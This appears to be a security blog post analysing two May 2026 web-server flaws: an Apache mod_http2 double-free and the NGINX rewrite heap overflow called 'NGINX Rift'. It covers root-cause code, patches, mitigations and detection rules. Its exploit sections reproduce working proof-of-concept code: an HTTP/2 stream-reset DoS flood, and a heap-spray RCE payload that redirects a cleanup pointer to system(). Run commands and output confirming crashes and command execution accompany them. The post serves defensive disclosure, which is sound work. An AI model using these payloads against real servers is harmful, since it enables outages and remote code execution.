May 2026: Two Critical Vulnerabilities That Shook Web Infrastructure — Apache CVE-2026-23918 & NGINX Rift (CVE-2026-42945)
Introduction
May 2026 was a month in which both pillars of global web infrastructure — Apache HTTP Server and Nginx — received a flurry of security patches. The Apache project shipped 2.4.67 on May 4, fixing five CVEs at once, and Nginx released 1.30.1 / 1.31.0 on May 13, addressing the four-CVE "NGINX Rift" bundle.
Rather than enumerating every fix from May, this post focuses on one representative vulnerability per product — the one with the highest operational impact, exploitability, and exposure. The selection criteria are:
- Unauthenticated RCE potential: Can it be triggered with a single TCP connection and no authentication?
- Exposure on default builds/configurations: Does it affect standard distributions, not niche modules or unusual build flags?
- Dormancy period and deployment footprint: How long has it been in the codebase, and how widely is it deployed?
- Active exploitation evidence: Has a public PoC dropped, or has in-the-wild exploitation been observed?
Applying these criteria, CVE-2026-23918 (HTTP/2 Double Free) stands out for Apache and CVE-2026-42945 (NGINX Rift) stands out for Nginx. The former is a memory-corruption flaw that allows unauthenticated DoS and RCE in any modern Apache deployment where HTTP/2 is enabled by default; the latter is a heap buffer overflow that has been dormant for 18 years and affects every stable release from 0.6.27 through 1.30.0. Both score in the upper 8.x to 9.x CVSS range, and both have public PoCs with documented in-the-wild exploitation right after disclosure.
1. Apache HTTP Server — CVE-2026-23918 (HTTP/2 Double Free)
Introduction
The first vulnerability we examine is CVE-2026-23918. It is a double-free flaw in the HTTP/2 module (mod_http2) of Apache HTTP Server 2.4.66. It triggers during an "early stream reset" sequence — a client sending a HEADERS frame immediately followed by a RST_STREAM frame before the stream is registered with the multiplexer. The same h2_stream pointer ends up enqueued in the cleanup array (spurge) twice, causing the same memory to be freed twice. In environments where APR uses the mmap allocator, this double-free can be escalated to unauthenticated remote code execution.
Vulnerability Detail
| Field |
Value |
| CVE |
CVE-2026-23918 |
| Vulnerability |
Double Free (CWE-415), double-free in the HTTP/2 stream cleanup path |
| CVSS (3.1) |
HIGH 8.8 |
| Product |
Apache HTTP Server (httpd) |
| Version |
<= 2.4.66 (with HTTP/2 enabled + multi-threaded MPM) |
| Patch Version |
2.4.67 (released 2026-05-04) |
| Link |
https://nvd.nist.gov/vuln/detail/CVE-2026-23918 |
| Description |
Double-free vulnerability in Apache HTTP Server mod_http2 (h2_mplx.c) during early stream reset. Allows remote DoS and possible RCE on Apache 2.4.66 and earlier. Users are recommended to upgrade to 2.4.67. |
Analysis
The vulnerability lives in the stream cleanup path of the HTTP/2 multiplexer (mod_http2). When a client sends a HEADERS frame followed immediately by a RST_STREAM frame carrying a non-zero error code, the cleanup routines fire in rapid succession and end up inserting the same h2_stream pointer into the spurge cleanup array more than once. The purge phase later destroys the same stream object twice, producing a textbook double-free.
No deduplication when pushing into the spurge array
At its core, the bug exists because mod_http2's cleanup queue (m->spurge) has multiple code paths that push the same h2_stream pointer without any duplicate check. The patch commit on the official Apache git repository (apache/httpd@542e0da) makes the root cause crystal clear when we look at the pre-patch state of modules/http2/h2_mplx.c.
🔍 /modules/http2/h2_mplx.c (Apache 2.4.66 / mod_http2 2.0.35, pre-patch)
static void c1c2_stream_joined(h2_mplx *m, h2_stream *stream)
{
ap_assert(!stream_is_running(stream));
h2_ihash_remove(m->shold, stream->id);
/* (1) Push into the spurge array without ANY duplicate check.
* Even if the same stream pointer was already enqueued by another
* cleanup path, it is appended again here. */
APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream;
}
static void m_stream_cleanup(h2_mplx *m, h2_stream *stream)
{
/* ... */
if (/* the stream finished processing */) {
ap_log_cerror(APLOG_MARK, APLOG_TRACE2, 0, m->c1,
H2_STRM_MSG(stream, "cleanup, c2 is done, move to spurge"));
/* (2) Another call site — again, direct push, no check. */
APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream;
}
/* ... */
else {
/* (3) The "never started" stream path. Same pattern. */
ap_log_cerror(APLOG_MARK, APLOG_TRACE2, 0, m->c1,
H2_STRM_MSG(stream, "cleanup, never started, move to spurge"));
APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream;
}
}
Looking at the code, there are three call sites that push into spurge, and none of them check whether the stream is already in the array. During an HTTP/2 early reset, the two nghttp2 callbacks (on_frame_recv_cb and on_stream_close_cb) fire in quick succession, and both end up traveling the h2_mplx_c1_client_rst() → m_stream_cleanup() chain. The (2) and (3) branches execute twice, enqueueing the same h2_stream * pointer into spurge twice.
Later, when c1_purge_streams() iterates the array and calls h2_stream_destroy() → apr_pool_destroy() on each entry, the second iteration frees memory that has already been released — a classic double-free.
Trigger sequence (Early Stream Reset)
An attacker only needs to send these two frames back-to-back on the same stream:
- A
HEADERS frame (while the stream has not yet been fully registered with the multiplexer)
- A
RST_STREAM frame with a non-zero error code, sent immediately after
This pattern causes nghttp2 to fire both callbacks (on_frame_recv_cb and on_stream_close_cb) almost simultaneously, taking both through the (2) and (3) branches and putting the same pointer into spurge twice. No authentication, no specific URL, no special headers — a single TCP connection and two frames are enough to crash a worker with SIGSEGV.
Exploitation
DoS is effectively guaranteed. One TCP connection, two frames, no auth, no specific URL needed. A worker process crashes within roughly 30 seconds to 3 minutes (measured: 6 seconds in our test). With a multi-threaded MPM (worker or event), the entire worker pool collapses quickly.
The RCE chain requires both of these to hold:
- APR is built with the
mmap allocator (the default on Debian-derived systems and on the official Apache builds)
- A multi-threaded MPM (
worker, event, etc.) is in use
The attacker places a fake h2_stream struct at the freed virtual address via mmap reuse and points its pool cleanup function pointer to system(). The command string is placed in Apache's scoreboard memory, which sits at a fixed address even with ASLR enabled, giving a reliable trigger.
Exploit
To reproduce the vulnerability, we use the public Docker-based PoC (rhasan-com/CVE-2026-23918). The repository ships with the official httpd:2.4.66 Docker image configured with mod_http2 + mod_ssl + mpm_event, plus a Python PoC script.
Docker environment
🔍 /Dockerfile (excerpt)
FROM httpd:2.4.66
# Enable HTTP/2, SSL, and MPM event modules
RUN sed -i \\
-e 's/#LoadModule ssl_module/LoadModule ssl_module/' \\
-e 's/#LoadModule http2_module/LoadModule http2_module/' \\
-e 's/#LoadModule mpm_event_module/LoadModule mpm_event_module/' \\
/usr/local/apache2/conf/httpd.conf
# Generate self-signed cert, bind to 8443, enable HTTP/2
RUN printf '\\nListen 8443 https\\nProtocols h2 h2c http/1.1\\n...' \\
>> /usr/local/apache2/conf/httpd.conf
EXPOSE 8443
🔍 /docker-compose.yml
services:
apache-lab:
build:
context: .
dockerfile: Dockerfile
ports:
- "8443:8443"
restart: unless-stopped
security_opt:
- seccomp:unconfined
cap_add:
- SYS_PTRACE
PoC core logic
🔍 /poc.py (excerpt)
# 100 worker threads simultaneously open HTTP/2 connections,
# each opening 50 streams and sending an immediate RST_STREAM on every third one
for i in range(50):
sid = conn.get_next_available_stream_id()
conn.send_headers(sid, [
(b":method", b"GET"),
(b":scheme", b"https"),
(b":authority", self.target.encode()),
(b":path", b"/"),
])
sock.sendall(conn.data_to_send())
if i % 3 == 0:
# Immediate RST_STREAM right after HEADERS → early-reset trigger
conn.reset_stream(sid, error_code=1)
sock.sendall(conn.data_to_send())
This exactly mirrors the "HEADERS → immediate RST_STREAM" sequence from the Analysis section, parallelized to 100 threads × 50 streams to drive the spurge-duplicate-insert path as fast as possible.
Reproduction steps
We run the PoC inside a Python virtual environment to avoid polluting the system interpreter.
# 1. Clone the PoC repository
git clone <https://github.com/rhasan-com/CVE-2026-23918.git>
cd CVE-2026-23918
# 2. Build and start the vulnerable lab (httpd:2.4.66)
docker-compose up --build -d
# 3. Set up a venv and install the h2 library
python3 -m venv venv
source venv/bin/activate
pip install h2
# 4. Run the PoC
python3 poc.py --target 127.0.0.1 --port 8443
# 5. Tail the worker crash log (in a separate shell)
docker logs -f apache-lab
# 6. Cleanup
deactivate
docker-compose down -v
PoC results
PoC client output (python3 poc.py --target 127.0.0.1 --port 8443)
============================================================
CVE-2026-23918 DoS PoC
============================================================
Target : 127.0.0.1:8443 / Workers: 100 / Streams: 50 per conn
============================================================
[*] Server check...
[+] Server is up and running
============================================================
!!! SERVER CRASHED at t=6s !!!
Stats: connections=756 reqs=4791 resets=1749
============================================================
Connections : 786
Requests : 4816
RST_STREAM : 1765
Conn Errors : 8
Stream Errs : 24727
!!! DOUBLE-FREE CONFIRMED !!!
============================================================
Apache worker crash log (docker logs -f apache-lab)
[Wed May 27 15:43:06.489887 2026] [mpm_event:notice] AH00489: Apache/2.4.66 configured
[Wed May 27 15:43:06.489902 2026] [core:notice] AH00094: Command line: 'httpd -D FOREGROUND'
[Wed May 27 15:43:26.573934 2026] [core:notice] AH00052: child pid 8 exit signal Segmentation fault (11)
[Wed May 27 15:43:26.574429 2026] [core:notice] AH00052: child pid 9 exit signal Abort (6)
[Wed May 27 15:43:26.574869 2026] [core:notice] AH00052: child pid 10 exit signal Segmentation fault (11)
[Wed May 27 15:43:27.579255 2026] [core:notice] AH00052: child pid 167 exit signal Segmentation fault (11)
[Wed May 27 15:43:27.581672 2026] [core:notice] AH00052: child pid 168 exit signal Segmentation fault (11)
[Wed May 27 15:43:27.582008 2026] [core:notice] AH00052: child pid 176 exit signal Segmentation fault (11)
[Wed May 27 15:43:28.589413 2026] [core:notice] AH00052: child pid 326 exit signal Segmentation fault (11)
[Wed May 27 15:43:28.590080 2026] [core:notice] AH00052: child pid 327 exit signal Segmentation fault (11)
[Wed May 27 15:43:28.590606 2026] [core:notice] AH00052: child pid 329 exit signal Segmentation fault (11)
[Wed May 27 15:43:28.590630 2026] [core:notice] AH00052: child pid 338 exit signal Segmentation fault (11)
[Wed May 27 15:43:29.598274 2026] [core:notice] AH00052: child pid 539 exit signal Segmentation fault (11)
[Wed May 27 15:43:29.598930 2026] [core:notice] AH00052: child pid 540 exit signal Segmentation fault (11)
[Wed May 27 15:43:30.607416 2026] [core:notice] AH00052: child pid 657 exit signal Segmentation fault (11)
[Wed May 27 15:43:30.607985 2026] [core:notice] AH00052: child pid 658 exit signal Segmentation fault (11)
... (total: 30 worker exits - 27x SIGSEGV + 3x Abort)
Patch
Apache 2.4.67 introduces a single entry point, add_for_purge(), that performs a linear scan over the spurge array and refuses to enqueue a pointer that is already present.
https://github.com/apache/httpd/commit/542e0da07048d3934ef18c22b44cf8d62e64067f
🔍 /modules/http2/h2_mplx.c (Apache 2.4.67 / mod_http2 2.0.37, post-patch)
/* New helper function added by the patch */
static int add_for_purge(h2_mplx *m, h2_stream *stream)
{
int i;
/* Linear scan to check whether this pointer is already enqueued */
for (i = 0; i < m->spurge->nelts; ++i) {
h2_stream *s = APR_ARRAY_IDX(m->spurge, i, h2_stream*);
if (s == stream) /* already scheduled for purging */
return FALSE; /* Already enqueued → do not push again (blocks double-free) */
}
/* Push only when the pointer is not yet in the array */
APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream;
return TRUE;
}
static void c1c2_stream_joined(h2_mplx *m, h2_stream *stream)
{
/* (1') Direct push replaced with the dedup helper */
add_for_purge(m, stream);
}
static void m_stream_cleanup(h2_mplx *m, h2_stream *stream)
{
/* ... */
if (/* the stream finished processing */) {
/* (2') Second call site also routed through the dedup helper */
add_for_purge(m, stream);
}
/* ... */
else {
/* (3') Third call site. Skip logging if the pointer was already enqueued. */
int added = add_for_purge(m, stream);
if (added)
ap_log_cerror(APLOG_MARK, APLOG_TRACE2, 0, m->c1,
H2_STRM_MSG(stream, "cleanup, never started, move to spurge"));
}
}
With this dedup gate in place, no cleanup path can destroy the same h2_stream pointer twice. The HTTP/2 trigger (HEADERS + immediate RST_STREAM) still arrives at the same code, but the memory corruption never happens. The same commit also bumps MOD_HTTP2_VERSION from 2.0.35 to 2.0.37, confirming that this change is part of an official release.
Mitigation
- Upgrade Apache HTTP Server to 2.4.67 or later immediately. The same release also fixes four other CVEs (including
CVE-2026-24072, a mod_rewrite privilege escalation), so a full upgrade is preferable to a partial backport.
- If you cannot upgrade right away, apply a temporary mitigation:
- Remove
h2 and h2c from the Protocols directive → disables HTTP/2 (verify performance impact first)
- Or disable
mod_http2 entirely (a2dismod http2, or comment out LoadModule http2_module ...)
- If you must keep HTTP/2, switching the MPM to
prefork is an option, but concurrency and memory characteristics change, so validate under load first.
- Add behavioral detection rules. Key signals include: HTTP/2 connections that send
RST_STREAM with a non-zero error code immediately after HEADERS, bursts of worker segfault/abort entries in error_log, and accumulating httpd/apache2 core dumps.
2. Nginx — CVE-2026-42945 (NGINX Rift)
Introduction
The next vulnerability is CVE-2026-42945, branded NGINX Rift. It is a heap buffer overflow (CWE-122) in ngx_http_rewrite_module, NGINX's core URL-rewriting module. The bug was introduced in NGINX 0.6.27 (2008) and stayed dormant for roughly 18 years. An unauthenticated attacker can crash a worker process with a single HTTP request, and in environments where ASLR is disabled, this escalates to remote code execution.
What also makes this vulnerability notable is that it was discovered by an autonomous AI vulnerability-analysis system. According to depthfirst, the original reporter, their AI scanner identified this heap overflow (plus three other memory-corruption bugs) after roughly 6 hours of scanning the NGINX source.
Vulnerability Detail
| Field |
Value |
| CVE |
CVE-2026-42945 (codename: NGINX Rift) |
| Vulnerability |
Heap Buffer Overflow (CWE-122), size mismatch in the rewrite script engine |
| CVSS (4.0) |
CRITICAL 9.2 |
| Product |
NGINX Open Source / NGINX Plus |
| Version |
OSS 0.6.27 ~ 1.30.0, Plus R32 ~ R36 |
| Patch Version |
OSS 1.30.1 (stable) / 1.31.0 (mainline), Plus R32 P6 / R36 P4 / 37.0.0 (released 2026-05-13) |
| Link |
https://nvd.nist.gov/vuln/detail/CVE-2026-42945 |
| Description |
Heap buffer overflow in NGINX ngx_http_rewrite_module when a rewrite directive's replacement contains ? and a subsequent set/if/rewrite references an unnamed PCRE capture. Triggers DoS and possible RCE without authentication. |
Analysis
NGINX's script engine compiles rewrite/set/if directives and executes them in a two-pass model: (1) compute the size of the destination buffer, then (2) write the actual data. The two passes must apply the same escaping rules so that the allocated size matches the bytes actually written. The bug is that the is_args flag, which governs that consistency, is not reset when the rewrite code finishes executing — a problem that lived in the codebase for 18 years.
is_args is not reset at the end of the rewrite code
Looking at the official patch commit (nginx/nginx@524977e) for src/http/ngx_http_script.c, the root cause boils down to a single missing line.
🔍 /src/http/ngx_http_script.c (NGINX <= 1.30.0, pre-patch)
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_end_code_t *code;
code = (ngx_http_script_regex_end_code_t *) e->ip;
/* ... */
r = e->request;
/* (1) e->is_args is NOT reset — only e->quote is.
* ↳ If the rewrite replacement contained a '?', the earlier call
* to ngx_http_script_start_args_code() set e->is_args = 1, and
* that state lingers past the end of the rewrite. */
e->quote = 0;
ngx_log_debug0(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,
"http script regex end");
}
The path from "missing single line" to "heap overflow" is the core of this vulnerability. Step by step:
- When a
rewrite directive's replacement contains ? (e.g. rewrite ^/api/(.*)$ /internal?x=$1 last;), ngx_http_script_start_args_code() sets e->is_args = 1 on the main engine.
- Because the function above never clears
e->is_args back to 0, any subsequent directive — a set $myvar $1;, an if, another rewrite — is evaluated as if it were still in the args context.
- The length-calculation pass operates on a sub-engine
le zero-initialized with ngx_memzero(&le, sizeof(ngx_http_script_engine_t)), so le.is_args = 0. It computes the size without applying escaping, allocating only enough room for the raw captured bytes.
- The write pass, by contrast, sees the main engine's
e->is_args = 1, and ngx_escape_uri() expands characters like +, %, & into 3-byte %XX sequences as it writes.
- The end result: a buffer sized for
N bytes receives N + 2 × (count of escape-eligible characters) bytes — a heap buffer overrun.
Trigger conditions
To actually reach the buggy code path, the NGINX configuration must satisfy all three of these:
- A
rewrite directive whose replacement contains ?
- A subsequent
set/if/rewrite that references an unnamed PCRE capture ($1, $2, …)
- An attacker URI containing many escape-eligible characters (
+, %, &)
This pattern shows up routinely in API gateways, legacy migrations, and query-string reassembly. Saying "we don't use the vulnerable directives" is not enough — a full configuration audit is needed.
Exploitation
DoS: with all three conditions met, an attacker can crash a worker (SIGSEGV/SIGABRT) by sending a single URI packed with encoded characters such as %26, %2B, %25.
RCE: by following a corrupted cleanup pointer into an attacker-sprayed fake struct, system(command) is invoked, producing unauthenticated RCE. The public PoC runs reliably with ASLR disabled; on modern OSes with ASLR enabled the difficulty rises, but NGINX's master → worker fork model means the heap layout is replicated identically across workers, which the researchers flagged as a structural factor that boosts exploitation reliability.
VulnCheck reports that active exploitation attempts began on 2026-05-16, just three days after public disclosure — effectively no patch-application window.
Exploit
We reproduce the vulnerability using the Docker-based PoC published by depthfirst, the original reporter (DepthFirstDisclosures/Nginx-Rift). The repository compiles NGINX from the vulnerable commit on top of Ubuntu 22.04 and ships an RCE exploit script that combines a heap spray with a fake-struct placement.
Docker environment
🔍 /env/Dockerfile
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y \\
gcc make libpcre2-dev libssl-dev zlib1g-dev \\
util-linux python3 curl git \\
&& rm -rf /var/lib/apt/lists/*
# Check out and compile NGINX at the vulnerable commit (98fc3bb78)
RUN git clone <https://github.com/nginx/nginx.git> /nginx-src \\
&& cd /nginx-src && git checkout 98fc3bb78
RUN cd /nginx-src && ./auto/configure \\
--builddir=build \\
--with-cc-opt='-g -O2 -fno-omit-frame-pointer' \\
--with-ld-opt='-Wl,-z,relro -Wl,-z,now' \\
--with-http_ssl_module --with-http_v2_module \\
&& make -j$(nproc)
WORKDIR /app
COPY nginx.conf server.py entrypoint.sh ./
RUN chmod +x entrypoint.sh && mkdir -p logs tmp
ENTRYPOINT ["/app/entrypoint.sh"]
EXPOSE 19321
🔍 /env/entrypoint.sh
#!/bin/bash
cd /app
python3 server.py &>/dev/null &
# setarch -R disables ASLR for deterministic addresses required by the RCE PoC
exec setarch x86_64 -R /nginx-src/build/nginx -p /app -c /app/nginx.conf
🔍 /env/nginx.conf excerpt — the vulnerable pattern, exposed deliberately
server {
listen 19321;
# The rewrite + set combination is what triggers the bug:
# - rewrite sets e->is_args = 1 because of the '?'
# - set $original_endpoint $1 allocates the buffer using the raw capture
# length, but writes with escape expansion (3x for '+', '%', '&', ...)
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
# Heap spray: POST body stored verbatim in pool memory
location /spray {
client_body_in_single_buffer on;
proxy_pass <http://backend>;
proxy_read_timeout 60s;
}
}
PoC core logic
🔍 /poc.py (excerpt)
# Stage 1: spray the heap by POSTing 20 bodies, each carrying a fake struct
# (SYSTEM_ADDR, data_addr, 0) followed by the command payload
def make_body(cmd, data_addr):
fake_struct = struct.pack('<QQQ', SYSTEM_ADDR, data_addr, 0)
cmd_bytes = cmd.encode('utf-8') + b'\\x00'
payload = fake_struct + cmd_bytes
return payload + b'\\x41' * (BODY_LEN - len(payload))
# Stage 2: send GET /api/... containing 969 '+' characters, triggering the
# heap overrun and steering the cleanup pointer into the sprayed struct
payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1")
a.sendall((f"GET /api/{payload} HTTP/1.1\\r\\n"
f"Host:localhost\\r\\n").encode("latin-1"))
This precisely exploits the two-pass size mismatch from the Analysis section. Stage 1 lays down a payload containing a synthetic system() call descriptor on the heap; stage 2 deliberately overflows by N + 2 × N bytes via the '+' × 969 pattern, redirecting the cleanup pointer into the sprayed fake struct.
Reproduction steps
# 1. Clone the PoC repository
git clone <https://github.com/DepthFirstDisclosures/Nginx-Rift.git>
cd Nginx-Rift
# 2. Build the image (NGINX is compiled from source — takes a few minutes)
./setup.sh
# 3. Start vulnerable NGINX (terminal 1, ASLR disabled by setarch -R)
docker compose -f env/docker-compose.yml up
# 4. Set up a venv (terminal 2)
python3 -m venv venv
source venv/bin/activate
# 5. Run the PoC
python3 poc.py --cmd 'echo hello from depthfirst > /tmp/pwned'
# 6. Verify RCE
docker compose -f env/docker-compose.yml exec nginx ls -la /tmp/pwned
docker compose -f env/docker-compose.yml exec nginx cat /tmp/pwned
# 7. Cleanup
deactivate
docker compose -f env/docker-compose.yml down -v
PoC results
Test environment: Apple Silicon (aarch64) + Docker Desktop. Ran with --platform linux/amd64 and patched poc.py's LIBC_BASE to the actual in-container value (0x7ffffefc0000) before execution.
PoC client output (python3 poc.py --cmd 'echo hello from depthfirst > /tmp/pwned')
[*] Waiting for nginx on 127.0.0.1:19321...
[+] Connected.
[+] try 1/10 crashed -- system("echo hello from depthfirst > /tmp/pwned") executed
[+] Done.
RCE verification (docker compose exec nginx cat /tmp/pwned)
=== ls -la /tmp/pwned ===
-rw-r--r-- 1 nobody nogroup 22 May 27 16:01 /tmp/pwned
=== cat /tmp/pwned ===
hello from depthfirst
Result: RCE succeeded on the first attempt — the NGINX worker executed system("echo hello from depthfirst > /tmp/pwned") and the file was created in /tmp/pwned.
Patch
The fix in NGINX 1.30.1 / 1.31.0 adds a single line — e->is_args = 0; — inside ngx_http_script_regex_end_code().
https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686
🔍 /src/http/ngx_http_script.c (NGINX 1.30.1 / 1.31.0, post-patch)
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_end_code_t *code;
code = (ngx_http_script_regex_end_code_t *) e->ip;
/* ... */
r = e->request;
/* (1') Reset is_args together with quote.
* Stops the rewrite's args context from leaking into
* subsequent set/if/rewrite directives.
* → The length-calculation pass and the write pass now apply
* the same escaping rules — no more size mismatch, no more
* heap overrun. */
e->is_args = 0;
e->quote = 0;
ngx_log_debug0(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,
"http script regex end");
}
The entire fix is one line (e->is_args = 0;), but that single line stops the args context from leaking out of rewrite into subsequent directives, returning both passes to the same escaping rules. The commit message itself notes that "A similar issue was fixed in 74d9399" — in other words, the script engine's state-propagation model has structurally produced this same class of flag-leak bug more than once.
Mitigation
-
Patch immediately. Upgrade NGINX Open Source to 1.30.1 (stable) or 1.31.0 (mainline), and NGINX Plus to R32 P6 / R36 P4 / 37.0.0. You must replace the worker process via a restart — nginx -s reload will not load the new binary.
-
If you cannot patch right away, work around it in config. Replace unnamed captures ($1) with named captures (?<name>). This removes the vulnerable code path entirely.
# Vulnerable
rewrite ^/users/([0-9]+)$ /profile.php?id=$1 last;
# Safe
rewrite ^/users/(?<user_id>[0-9]+)$ /profile.php?id=$user_id last;
-
Deploy detection rules. Add WAF/IDS rules that flag requests containing abnormally many encoded characters (%26, %2B, %25) in a single URI. Also watch error.log for the worker process ... exited on signal 11 pattern and any accumulation of NGINX core dumps.
-
Patch the other CVEs released together. NGINX Rift is a four-CVE bundle, so include CVE-2026-42946, CVE-2026-40701, and CVE-2026-42934 in the same patch cycle.
Comparison
| Item |
Apache CVE-2026-23918 |
Nginx CVE-2026-42945 |
| Vulnerability class |
Double Free (CWE-415) |
Heap Buffer Overflow (CWE-122) |
| Location |
mod_http2 / h2_mplx.c |
ngx_http_rewrite_module / ngx_http_script.c |
| Trigger |
HTTP/2 HEADERS + immediate RST_STREAM |
Specific rewrite config + crafted URI |
| Auth required |
None |
None |
| DoS difficulty |
Very low |
Very low |
| RCE prerequisites |
mmap allocator + multi-threaded MPM |
Specific rewrite config + ASLR bypass |
| Affected footprint |
Apache 2.4.66 and earlier with HTTP/2 enabled |
Nginx 0.6.27 ~ 1.30.0 using rewrite |
| Dormancy |
Relatively recent code |
~18 years |
| Patch |
2.4.67 (2026-05-04) |
1.30.1 / 1.31.0 (2026-05-13) |
| Public PoC |
rhasan-com/CVE-2026-23918 (Docker) |
DepthFirstDisclosures/Nginx-Rift (Docker) |
The two vulnerabilities differ in root cause (double-free vs heap overflow) and trigger surface (HTTP/2 protocol vs config-dependent rewrite path), but together they make a few things clear:
- Memory-safety bugs in stock modules are still a frontline threat. HTTP/2 and
rewrite are effectively default-on in production deployments.
- Public disclosure and active exploitation now arrive together. The patch window has narrowed dramatically.
- Temporary mitigations all come with side effects. Disabling HTTP/2, switching to named captures — these work, but the only real remediation is applying the official patch.
Operationally, in May 2026 every team should have completed the version inventory → affected-module identification → patch (or mitigation) → crash-log monitoring loop for both products.
References
Apache CVE-2026-23918
Nginx CVE-2026-42945 (NGINX Rift)